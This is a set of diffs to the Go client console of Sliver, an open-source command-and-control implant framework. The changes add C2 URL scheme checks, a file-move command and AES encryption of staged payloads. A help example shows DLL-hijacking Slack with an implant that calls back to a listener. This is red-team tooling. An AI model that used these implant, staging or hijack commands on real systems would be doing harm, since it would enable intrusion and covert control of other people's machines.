Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
func MvCmd(ctx *grumble.Context, con *console.SliverConsoleClient) (err error) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
src := ctx.Args.String("src")
|
||||
if src == "" {
|
||||
con.PrintErrorf("Missing parameter: src\n")
|
||||
return
|
||||
}
|
||||
|
||||
dst := ctx.Args.String("dst")
|
||||
if dst == "" {
|
||||
con.PrintErrorf("Missing parameter: dst\n")
|
||||
return
|
||||
}
|
||||
|
||||
mv, err := con.Rpc.Mv(context.Background(), &sliverpb.MvReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Src: src,
|
||||
Dst: dst,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
mv.Src, mv.Dst = src, dst
|
||||
|
||||
if mv.Response != nil && mv.Response.Async {
|
||||
con.AddBeaconCallback(mv.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, mv)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
})
|
||||
con.PrintAsyncResponse(mv.Response)
|
||||
} else {
|
||||
PrintMv(mv, con)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// PrintMv - Print the renamed file
|
||||
func PrintMv(mv *sliverpb.Mv, con *console.SliverConsoleClient) {
|
||||
if mv.Response != nil && mv.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", mv.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("%s > %s\n", mv.Src, mv.Dst)
|
||||
}
|
||||
@@ -64,6 +64,10 @@ func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
dst := remotePath
|
||||
|
||||
fileBuf, err := ioutil.ReadFile(src)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
uploadGzip := new(encoders.Gzip).Encode(fileBuf)
|
||||
|
||||
ctrl := make(chan bool)
|
||||
|
||||
@@ -258,6 +258,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
|
||||
isShellcode := false
|
||||
|
||||
format := ctx.Flags.String("format")
|
||||
runAtLoad := false
|
||||
var configFormat clientpb.OutputFormat
|
||||
switch format {
|
||||
case "exe":
|
||||
@@ -265,6 +266,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
|
||||
case "shared":
|
||||
configFormat = clientpb.OutputFormat_SHARED_LIB
|
||||
isSharedLib = true
|
||||
runAtLoad = ctx.Flags.Bool("run-at-load")
|
||||
case "shellcode":
|
||||
configFormat = clientpb.OutputFormat_SHELLCODE
|
||||
isShellcode = true
|
||||
@@ -331,6 +333,8 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
|
||||
IsSharedLib: isSharedLib,
|
||||
IsService: isService,
|
||||
IsShellcode: isShellcode,
|
||||
|
||||
RunAtLoad: runAtLoad,
|
||||
}
|
||||
|
||||
return config
|
||||
@@ -394,6 +398,9 @@ func ParseMTLSc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
if uri.Scheme != "mtls" {
|
||||
return nil, fmt.Errorf("invalid mtls schema: %s", uri.Scheme)
|
||||
}
|
||||
if uri.Port() == "" {
|
||||
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultMTLSLPort)
|
||||
}
|
||||
@@ -415,17 +422,20 @@ func ParseWGc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
arg = strings.ToLower(arg)
|
||||
var uri *url.URL
|
||||
var err error
|
||||
if strings.HasPrefix(arg, "mtls://") {
|
||||
if strings.HasPrefix(arg, "wg://") {
|
||||
uri, err = url.Parse(arg)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
uri, err = url.Parse(fmt.Sprintf("mtls://%s", arg))
|
||||
uri, err = url.Parse(fmt.Sprintf("wg://%s", arg))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
if uri.Scheme != "wg" {
|
||||
return nil, fmt.Errorf("invalid wg schema: %s", uri.Scheme)
|
||||
}
|
||||
if uri.Port() == "" {
|
||||
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultWGLPort)
|
||||
}
|
||||
@@ -458,6 +468,9 @@ func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
if uri.Scheme != "http" && uri.Scheme != "https" {
|
||||
return nil, fmt.Errorf("invalid http(s) scheme: %s", uri.Scheme)
|
||||
}
|
||||
c2s = append(c2s, &clientpb.ImplantC2{
|
||||
Priority: uint32(index),
|
||||
URL: uri.String(),
|
||||
@@ -487,6 +500,9 @@ func ParseDNSc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
if uri.Scheme != "dns" {
|
||||
return nil, fmt.Errorf("invalid dns scheme: %s", uri.Scheme)
|
||||
}
|
||||
c2s = append(c2s, &clientpb.ImplantC2{
|
||||
Priority: uint32(index),
|
||||
URL: uri.String(),
|
||||
@@ -503,19 +519,37 @@ func ParseNamedPipec2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
}
|
||||
for index, arg := range strings.Split(args, ",") {
|
||||
arg = strings.ToLower(arg)
|
||||
arg = strings.ReplaceAll(arg, "\\", "/")
|
||||
arg = strings.TrimPrefix(arg, "/")
|
||||
arg = strings.TrimPrefix(arg, "/")
|
||||
var uri *url.URL
|
||||
var err error
|
||||
if strings.HasPrefix(arg, "named-pipe://") {
|
||||
if strings.HasPrefix(arg, "namedpipe://") {
|
||||
uri, err = url.Parse(arg)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
uri, err = url.Parse(fmt.Sprintf("named-pipe://%s", arg))
|
||||
uri, err = url.Parse(fmt.Sprintf("namedpipe://%s", arg))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
if uri.Scheme != "namedpipe" {
|
||||
return nil, fmt.Errorf("invalid namedpipe scheme: %s", uri.Scheme)
|
||||
}
|
||||
|
||||
if !strings.HasPrefix(uri.Path, "/pipe/") {
|
||||
prompt := &survey.Confirm{
|
||||
Message: fmt.Sprintf("Named pipe '%s' is missing the 'pipe' path prefix\nContinue anyways?", uri),
|
||||
}
|
||||
var confirm bool
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return nil, fmt.Errorf("invalid namedpipe path: %s", uri.Path)
|
||||
}
|
||||
}
|
||||
|
||||
c2s = append(c2s, &clientpb.ImplantC2{
|
||||
Priority: uint32(index),
|
||||
URL: uri.String(),
|
||||
@@ -535,16 +569,25 @@ func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
var uri *url.URL
|
||||
var err error
|
||||
if strings.HasPrefix(arg, "tcp-pivot://") {
|
||||
arg = strings.Replace(arg, "tcp-pivot://", "tcppivot://", 1)
|
||||
}
|
||||
if strings.HasPrefix(arg, "tcppivot://") {
|
||||
uri, err = url.Parse(arg)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
uri, err = url.Parse(fmt.Sprintf("tcp-pivot://%s", arg))
|
||||
uri, err = url.Parse(fmt.Sprintf("tcppivot://%s", arg))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
if uri.Scheme != "tcppivot" {
|
||||
return nil, fmt.Errorf("invalid tcppivot scheme: %s", uri.Scheme)
|
||||
}
|
||||
if uri.Port() == "" {
|
||||
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultTCPPivotPort)
|
||||
}
|
||||
c2s = append(c2s, &clientpb.ImplantC2{
|
||||
Priority: uint32(index),
|
||||
URL: uri.String(),
|
||||
|
||||
@@ -157,8 +157,8 @@ func ImplantBuildByName(name string, con *console.SliverConsoleClient) *clientpb
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
for _, build := range builds.Configs {
|
||||
if build.Name == name {
|
||||
for sliverName, build := range builds.Configs {
|
||||
if sliverName == name {
|
||||
return build
|
||||
}
|
||||
}
|
||||
|
||||
@@ -46,7 +46,7 @@ func printHelp(con *console.SliverConsoleClient) {
|
||||
for _, c := range con.App.Commands().All() {
|
||||
key := c.HelpGroup
|
||||
targetOS := ""
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
session, beacon := con.ActiveTarget.Get()
|
||||
if session != nil {
|
||||
targetOS = session.OS
|
||||
} else if beacon != nil {
|
||||
@@ -97,8 +97,13 @@ func printHelp(con *console.SliverConsoleClient) {
|
||||
con.Println()
|
||||
printHeadline(con.App.Config(), headline, con)
|
||||
con.Printf("%s\n", columnize.Format(output, config))
|
||||
con.Println()
|
||||
}
|
||||
}
|
||||
|
||||
con.Println()
|
||||
con.Printf("For even more information, please see our wiki: https://github.com/BishopFox/sliver/wiki\n")
|
||||
con.Println()
|
||||
}
|
||||
|
||||
func headlinePrinter(c *grumble.Config, con *console.SliverConsoleClient) func(v ...interface{}) (int, error) {
|
||||
|
||||
@@ -71,7 +71,7 @@ var (
|
||||
consts.MigrateStr: migrateHelp,
|
||||
consts.SideloadStr: sideloadHelp,
|
||||
consts.TerminateStr: terminateHelp,
|
||||
consts.AliasesStr: loadMacrosHelp,
|
||||
consts.AliasesStr: loadAliasHelp,
|
||||
consts.PsExecStr: psExecHelp,
|
||||
consts.BackdoorStr: backdoorHelp,
|
||||
consts.SpawnDllStr: spawnDllHelp,
|
||||
@@ -84,6 +84,7 @@ var (
|
||||
consts.RegistryWriteStr: regWriteHelp,
|
||||
consts.RegistryReadStr: regReadHelp,
|
||||
consts.RegistryCreateKeyStr: regCreateKeyHelp,
|
||||
consts.RegistryDeleteKeyStr: regDeleteKeyHelp,
|
||||
consts.PivotsStr: pivotsHelp,
|
||||
consts.WgPortFwdStr: wgPortFwdHelp,
|
||||
consts.WgSocksStr: wgSocksHelp,
|
||||
@@ -370,7 +371,7 @@ Parameters to the Linux and MacOS shared module are passed using the [[.Bold]]LD
|
||||
screenshotHelp = `[[.Bold]]Command:[[.Normal]] screenshot
|
||||
[[.Bold]]About:[[.Normal]] Take a screenshot from the remote implant.
|
||||
`
|
||||
loadMacrosHelp = `[[.Bold]]Command:[[.Normal]] load-macro <directory path>
|
||||
loadAliasHelp = `[[.Bold]]Command:[[.Normal]] load-macro <directory path>
|
||||
[[.Bold]]About:[[.Normal]] Load a Sliver macro to add new commands.
|
||||
Macros are using the [[.Bold]]sideload[[.Normal]] or [[.Bold]]spawndll[[.Normal]] commands under the hood, depending on the use case.
|
||||
For Linux and Mac OS, the [[.Bold]]sideload[[.Normal]] command will be used. On Windows, it will depend the macro file is a reflective DLL or not.
|
||||
@@ -482,6 +483,11 @@ When using the binary type, you must either:
|
||||
[[.Bold]]Example:[[.Normal]] registry create --hive HKLM "software\\google\\chrome\\BLBeacon\\version"
|
||||
`
|
||||
|
||||
regDeleteKeyHelp = `[[.Bold]]Command:[[.Normal]] registry delete PATH [name]
|
||||
[[.Bold]]About:[[.Normal]] Remove a value from the windows registry
|
||||
[[.Bold]]Example:[[.Normal]] registry delete --hive HKLM "software\\google\\chrome\\BLBeacon\\version"
|
||||
`
|
||||
|
||||
pivotsHelp = `[[.Bold]]Command:[[.Normal]] pivots
|
||||
[[.Bold]]About:[[.Normal]] List pivots for the current session. NOTE: pivots are only supported on sessions, not beacons.
|
||||
[[.Bold]]Examples:[[.Normal]]
|
||||
@@ -651,8 +657,8 @@ supplied with the --profile flag.
|
||||
# Use a local DLL for a hijack
|
||||
dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --file /tmp/blah.dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
|
||||
|
||||
# Use a Sliver generated DLL for the hijack
|
||||
profiles new --format shared --mtls 1.2.3.4:1234 --profile-name dll
|
||||
# Use a Sliver generated DLL for the hijack (you must specify -R or --run-at-load)
|
||||
profiles new --format shared --mtls 1.2.3.4:1234 --profile-name dll --run-at-load
|
||||
dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --profile dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
|
||||
|
||||
# Use a local DLL as the reference DLL
|
||||
|
||||
@@ -81,7 +81,7 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
|
||||
shortID,
|
||||
host.Hostname,
|
||||
host.OSVersion,
|
||||
hostSessionNumbers(host.HostUUID, con),
|
||||
hostSessions(host.HostUUID, con),
|
||||
hostBeacons(host.HostUUID, con),
|
||||
len(host.IOCs),
|
||||
len(host.ExtensionData),
|
||||
@@ -90,16 +90,16 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
|
||||
return tw.Render()
|
||||
}
|
||||
|
||||
func hostSessionNumbers(hostUUID string, con *console.SliverConsoleClient) string {
|
||||
func hostSessions(hostUUID string, con *console.SliverConsoleClient) string {
|
||||
hostSessions := SessionsForHost(hostUUID, con)
|
||||
if 0 == len(hostSessions) {
|
||||
if len(hostSessions) == 0 {
|
||||
return "None"
|
||||
}
|
||||
sessionNumbers := []string{}
|
||||
sessionIDs := []string{}
|
||||
for _, hostSession := range hostSessions {
|
||||
sessionNumbers = append(sessionNumbers, fmt.Sprintf("%d", hostSession.ID))
|
||||
sessionIDs = append(sessionIDs, strings.Split(hostSession.ID, "-")[0])
|
||||
}
|
||||
return strings.Join(sessionNumbers, ", ")
|
||||
return fmt.Sprintf("%d", len(sessionIDs))
|
||||
}
|
||||
|
||||
func hostBeacons(hostUUID string, con *console.SliverConsoleClient) string {
|
||||
|
||||
@@ -19,6 +19,8 @@ package info
|
||||
*/
|
||||
|
||||
import (
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
|
||||
@@ -33,7 +35,7 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
if session != nil {
|
||||
|
||||
con.Printf(console.Bold+" ID: %s%d\n", console.Normal, session.ID)
|
||||
con.Printf(console.Bold+" Session ID: %s%s\n", console.Normal, session.ID)
|
||||
con.Printf(console.Bold+" Name: %s%s\n", console.Normal, session.Name)
|
||||
con.Printf(console.Bold+" Hostname: %s%s\n", console.Normal, session.Hostname)
|
||||
con.Printf(console.Bold+" UUID: %s%s\n", console.Normal, session.UUID)
|
||||
@@ -44,13 +46,14 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.Printf(console.Bold+" OS: %s%s\n", console.Normal, session.OS)
|
||||
con.Printf(console.Bold+" Version: %s%s\n", console.Normal, session.Version)
|
||||
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, session.Arch)
|
||||
con.Printf(console.Bold+" Active C2: %s%s\n", console.Normal, session.ActiveC2)
|
||||
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, session.RemoteAddress)
|
||||
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, session.ProxyURL)
|
||||
con.Printf(console.Bold+"Reconnect Interval: %s%d\n", console.Normal, session.ReconnectInterval)
|
||||
con.Printf(console.Bold+"Reconnect Interval: %s%s\n", console.Normal, time.Duration(session.ReconnectInterval).String())
|
||||
|
||||
} else if beacon != nil {
|
||||
|
||||
con.Printf(console.Bold+" ID: %s%s\n", console.Normal, beacon.ID)
|
||||
con.Printf(console.Bold+" Beacon ID: %s%s\n", console.Normal, beacon.ID)
|
||||
con.Printf(console.Bold+" Name: %s%s\n", console.Normal, beacon.Name)
|
||||
con.Printf(console.Bold+" Hostname: %s%s\n", console.Normal, beacon.Hostname)
|
||||
con.Printf(console.Bold+" UUID: %s%s\n", console.Normal, beacon.UUID)
|
||||
@@ -61,10 +64,11 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.Printf(console.Bold+" OS: %s%s\n", console.Normal, beacon.OS)
|
||||
con.Printf(console.Bold+" Version: %s%s\n", console.Normal, beacon.Version)
|
||||
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, beacon.Arch)
|
||||
con.Printf(console.Bold+" Active C2: %s%s\n", console.Normal, beacon.ActiveC2)
|
||||
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, beacon.RemoteAddress)
|
||||
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, beacon.ProxyURL)
|
||||
con.Printf(console.Bold+" Interval: %s%d\n", console.Normal, beacon.Interval)
|
||||
con.Printf(console.Bold+" Jitter: %s%d\n", console.Normal, beacon.Jitter)
|
||||
con.Printf(console.Bold+" Interval: %s%s\n", console.Normal, time.Duration(beacon.Interval).String())
|
||||
con.Printf(console.Bold+" Jitter: %s%s\n", console.Normal, time.Duration(beacon.Jitter).String())
|
||||
|
||||
} else {
|
||||
con.PrintErrorf("No target session, see `help %s`\n", consts.InfoStr)
|
||||
|
||||
@@ -26,6 +26,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/generate"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
@@ -33,6 +34,8 @@ import (
|
||||
func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
profileName := ctx.Flags.String("profile")
|
||||
listenerURL := ctx.Flags.String("url")
|
||||
aesEncryptKey := ctx.Flags.String("aes-encrypt-key")
|
||||
aesEncryptIv := ctx.Flags.String("aes-encrypt-iv")
|
||||
|
||||
if profileName == "" || listenerURL == "" {
|
||||
con.PrintErrorf("Missing required flags, see `help stage-listener` for more info\n")
|
||||
@@ -56,12 +59,39 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Profile not found\n")
|
||||
return
|
||||
}
|
||||
|
||||
aesEncrypt := false
|
||||
if aesEncryptKey != "" {
|
||||
// check if aes encryption key is correct length
|
||||
if len(aesEncryptKey)%16 != 0 {
|
||||
con.PrintErrorf("Incorect length of AES Key\n")
|
||||
return
|
||||
}
|
||||
|
||||
// set default aes iv
|
||||
if aesEncryptIv == "" {
|
||||
aesEncryptIv = "0000000000000000"
|
||||
}
|
||||
|
||||
// check if aes iv is correct length
|
||||
if len(aesEncryptIv)%16 != 0 {
|
||||
con.PrintErrorf("Incorect length of AES IV\n")
|
||||
return
|
||||
}
|
||||
|
||||
aesEncrypt = true
|
||||
}
|
||||
|
||||
stage2, err := generate.GetSliverBinary(profile, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if aesEncrypt {
|
||||
stage2 = util.Encrypt(stage2, []byte(aesEncryptKey), []byte(aesEncryptIv))
|
||||
}
|
||||
|
||||
switch stagingURL.Scheme {
|
||||
case "http":
|
||||
ctrl := make(chan bool)
|
||||
@@ -125,4 +155,9 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Unsupported staging protocol: %s\n", stagingURL.Scheme)
|
||||
return
|
||||
}
|
||||
|
||||
if aesEncrypt {
|
||||
con.PrintInfof("AES KEY: %v\n", aesEncryptKey)
|
||||
con.PrintInfof("AES IV: %v\n", aesEncryptIv)
|
||||
}
|
||||
}
|
||||
+15
-13
@@ -27,6 +27,7 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/core"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
@@ -35,28 +36,26 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
// Confirm with the user, just in case they confused kill with terminate
|
||||
confirm := false
|
||||
promptSession := &survey.Confirm{Message: "Kill the active session?"}
|
||||
promptBeacon := &survey.Confirm{Message: "Kill the active beacon?"}
|
||||
con.PrintWarnf("WARNING: This will kill the remote implant process\n\n")
|
||||
if session != nil {
|
||||
survey.AskOne(promptSession, &confirm, nil)
|
||||
survey.AskOne(&survey.Confirm{Message: "Kill the active session?"}, &confirm, nil)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
err := KillSession(session, ctx.Flags.Bool("force"), con)
|
||||
err := KillSession(session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
|
||||
con.PrintInfof("Killed %s (%s)\n", session.Name, session.ID)
|
||||
con.ActiveTarget.Background()
|
||||
return
|
||||
}
|
||||
if beacon != nil {
|
||||
survey.AskOne(promptBeacon, &confirm, nil)
|
||||
} else if beacon != nil {
|
||||
survey.AskOne(&survey.Confirm{Message: "Kill the active beacon?"}, &confirm, nil)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
err := KillBeacon(beacon, ctx.Flags.Bool("force"), con)
|
||||
err := KillBeacon(beacon, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -69,28 +68,31 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
|
||||
func KillSession(session *clientpb.Session, force bool, con *console.SliverConsoleClient) error {
|
||||
func KillSession(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) error {
|
||||
if session == nil {
|
||||
return errors.New("session does not exist")
|
||||
}
|
||||
_, err := con.Rpc.Kill(context.Background(), &sliverpb.KillReq{
|
||||
Request: &commonpb.Request{
|
||||
SessionID: session.ID,
|
||||
Timeout: int64(ctx.Flags.Int("timeout")),
|
||||
},
|
||||
Force: force,
|
||||
Force: ctx.Flags.Bool("force"),
|
||||
})
|
||||
core.Sessions.Remove(session.ID)
|
||||
return err
|
||||
}
|
||||
|
||||
func KillBeacon(beacon *clientpb.Beacon, force bool, con *console.SliverConsoleClient) error {
|
||||
func KillBeacon(beacon *clientpb.Beacon, ctx *grumble.Context, con *console.SliverConsoleClient) error {
|
||||
if beacon == nil {
|
||||
return errors.New("session does not exist")
|
||||
}
|
||||
_, err := con.Rpc.Kill(context.Background(), &sliverpb.KillReq{
|
||||
Request: &commonpb.Request{
|
||||
BeaconID: beacon.ID,
|
||||
Timeout: int64(ctx.Flags.Int("timeout")),
|
||||
},
|
||||
Force: force,
|
||||
Force: ctx.Flags.Bool("force"),
|
||||
})
|
||||
return err
|
||||
|
||||
|
||||
@@ -35,7 +35,7 @@ func PivotDetailsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
pivotListeners, err := con.Rpc.PivotListeners(context.Background(), &sliverpb.PivotListenersReq{
|
||||
pivotListeners, err := con.Rpc.PivotSessionListeners(context.Background(), &sliverpb.PivotListenersReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
@@ -86,10 +86,10 @@ func PrintPivotListenerDetails(listener *sliverpb.PivotListener, con *console.Sl
|
||||
"ID",
|
||||
"Remote Address",
|
||||
})
|
||||
for _, pivot := range listener.Pivots {
|
||||
for _, pivotListener := range listener.Pivots {
|
||||
tw.AppendRow(table.Row{
|
||||
pivot.ID,
|
||||
pivot.RemoteAddress,
|
||||
pivotListener.PeerID,
|
||||
pivotListener.RemoteAddress,
|
||||
})
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
|
||||
@@ -0,0 +1,49 @@
|
||||
package pivots
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// PivotsGraphCmd - Display pivots for all sessions
|
||||
func PivotsGraphCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
graph, err := con.Rpc.PivotGraph(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
data, err := json.MarshalIndent(graph.Children, "", " ")
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
fmt.Printf("%s\n", string(data))
|
||||
|
||||
}
|
||||
@@ -35,7 +35,7 @@ func PivotsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
pivotListeners, err := con.Rpc.PivotListeners(context.Background(), &sliverpb.PivotListenersReq{
|
||||
pivotListeners, err := con.Rpc.PivotSessionListeners(context.Background(), &sliverpb.PivotListenersReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
|
||||
@@ -34,7 +34,7 @@ func StopPivotListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient
|
||||
}
|
||||
id := uint32(ctx.Flags.Int("id"))
|
||||
if id == uint32(0) {
|
||||
pivotListeners, err := con.Rpc.PivotListeners(context.Background(), &sliverpb.PivotListenersReq{
|
||||
pivotListeners, err := con.Rpc.PivotSessionListeners(context.Background(), &sliverpb.PivotListenersReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
|
||||
@@ -23,6 +23,7 @@ import (
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/prelude"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
@@ -40,7 +41,7 @@ func ConnectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
AESKey: aesKey,
|
||||
}
|
||||
|
||||
sessionMapper := prelude.InitSessionMapper(config)
|
||||
implantMapper := prelude.InitImplantMapper(config)
|
||||
|
||||
con.PrintInfof("Connected to Operator at %s\n", url)
|
||||
if !skipExisting {
|
||||
@@ -52,9 +53,26 @@ func ConnectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if len(sessions.Sessions) > 0 {
|
||||
con.PrintInfof("Adding existing sessions ...\n")
|
||||
for _, session := range sessions.Sessions {
|
||||
err = sessionMapper.AddSession(session)
|
||||
err = implantMapper.AddImplant(session, nil)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not add session %s to session mapper: %s", session.Name, err)
|
||||
con.PrintErrorf("Could not add session %s to implant mapper: %s", session.Name, err)
|
||||
}
|
||||
}
|
||||
con.PrintInfof("Done !\n")
|
||||
}
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not get beacon list: %s", err)
|
||||
return
|
||||
}
|
||||
if len(beacons.Beacons) > 0 {
|
||||
con.PrintInfof("Adding existing beacons ...\n")
|
||||
for _, beacon := range beacons.Beacons {
|
||||
err = implantMapper.AddImplant(beacon, func(taskID string, cb func(task *clientpb.BeaconTask)) {
|
||||
con.AddBeaconCallback(taskID, cb)
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not add beacon %s to implant mapper: %s", beacon.Name, err)
|
||||
}
|
||||
}
|
||||
con.PrintInfof("Done !\n")
|
||||
|
||||
@@ -25,8 +25,8 @@ import (
|
||||
)
|
||||
|
||||
func OperatorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
